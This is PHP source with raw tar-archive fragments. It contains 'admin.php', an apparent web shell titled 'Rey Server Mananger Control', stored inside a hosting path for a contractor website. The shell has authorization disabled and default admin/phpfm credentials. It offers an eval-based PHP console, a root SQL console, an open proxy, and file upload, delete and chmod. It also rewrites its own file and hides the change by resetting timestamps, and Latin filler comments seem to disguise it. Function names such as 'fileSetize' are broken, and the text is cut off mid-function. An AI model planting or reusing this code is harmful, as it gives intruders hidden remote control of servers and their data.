$value.'<br/>'; return $message; } else return ''; } function bundleFilesIntoArchive($file_array){ $result = true; if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archiveTitle) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errorList[] = __('No file').' '.$filename; continue; } if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errorList[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->generateValidPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errorList[] = __('Mode ').__('is incorrect'); } if(($this->filePointer == 0)){ if(!$this->insertHeaderInfo($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } fclose($file); } else $this->insertHeaderInfo($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->bundleFilesIntoArchive($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unbundleFilesIntoArchive($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->retrieveDataBlock()) != 0){ if (!$this->fetchHeaderInfo($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->retrieveDataBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->retrieveDataBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->retrieveDataBlock(); if (!$this->fetchHeaderInfo($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errorList[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errorList[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fileSetize($header['filename']) != $header['size']) { $this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fileSet[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errorList[] = __('Cannot create directory').' '.$dir; return false; } return true; } function fetchHeaderInfo($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['fileHash'] = OctDec(trim($unpack_data['fileHash'])); if ($header['fileHash'] != $fileHash){ $header['filename'] = ''; if (($fileHash == 256) && ($header['fileHash'] == 0)) return true; $this->errorList[] = __('Error fileHash for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function insertHeaderInfo($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->generateValidPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the fileHash $fileHash = 0; // First part of the header for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); // Ignore the fileHash value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->saveDataBlock($dataFirst, 148); // Write the calculated fileHash $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->saveDataBlock($dataLast, 356); $temporaryFilename = $this->generateValidPath($filename_ready); $i = 0; while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fileSetize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); $this->saveDataBlock($dataFirst, 148); $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); $this->saveDataBlock($dataLast, 356); return true; } function initiateFileWrite(){ if ($this->isCompressedFile) $this->temporaryFile = gzopen($this->archiveTitle, 'wb9f'); else $this->temporaryFile = fopen($this->archiveTitle, 'wb'); if (!($this->temporaryFile)){ $this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle; return false; } return true; } function retrieveDataBlock(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) $block = gzread($this->temporaryFile, 512); else $block = fread($this->temporaryFile, 512); } else $block = ''; return $block; } function saveDataBlock($data, $length = 0){ if (is_resource($this->temporaryFile)){ if ($length === 0){ if ($this->isCompressedFile) gzputs($this->temporaryFile, $data); else fputs($this->temporaryFile, $data); } else { if ($this->isCompressedFile) gzputs($this->temporaryFile, $data, $length); else fputs($this->temporaryFile, $data, $length); } } } function finalizeTempFile(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) gzclose($this->temporaryFile); else fclose($this->temporaryFile); $this->temporaryFile = 0; } } function generateValidPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PK ���Z}�t` � � cbdfgdaesfd.tarnu �[��� admin.php.tar 0000644 00000333000 15032624205 0007130 0 ustar 00 home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php 0000644 00000327111 15032430627 0024462 0 ustar 00 <?php /* Rey Server Mananger Control */ // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // File Manager instrumentum utile est ad res in systemate computatorio ordinandas // Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum $auth_local = json_decode($authorization_Option,true); $auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30; $auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin'; $auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm'; $auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user'; $auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : ''; // File Manager adhibetur ad fasciculos inter directorias movere $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_myfile' => true, 'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta 'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config; else $fms_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Multae versiones File Manager in systematibus operandi diversis exstant $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { // File Manager in versionibus recentibus variat inter GUI et CLI formas $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; // Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit function fm_del_fileSet($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_fileSet($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Aliquam File Manager etiam permittit utentes cum serveris remotos operari. $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Usus File Manager fit potissimum per drag et drop actiones $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // File Manager etiam multis systematibus permittit accessum ad hidden files $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load fileSet function fm_download($archiveFileName) { if (!empty($archiveFileName)) { if (file_exists($archiveFileName)) { header("Content-Disposition: attachment; filename=" . basename($archiveFileName)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . fileSetize($archiveFileName)); flush(); // this doesn't really matter. $fp = fopen($archiveFileName, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } // File Manager in multis casibus includit instrumenta ad compressiones fasciculorum function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return fileSetize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+fileSetize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errorList=ini_get('display_errorList'); ini_set('display_errorList', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errorList', $display_errorList); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fms_config; return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']); } function fm_sql($query){ global $fms_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,fileSetize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fms_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fms_config; $return = !empty($fms_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as 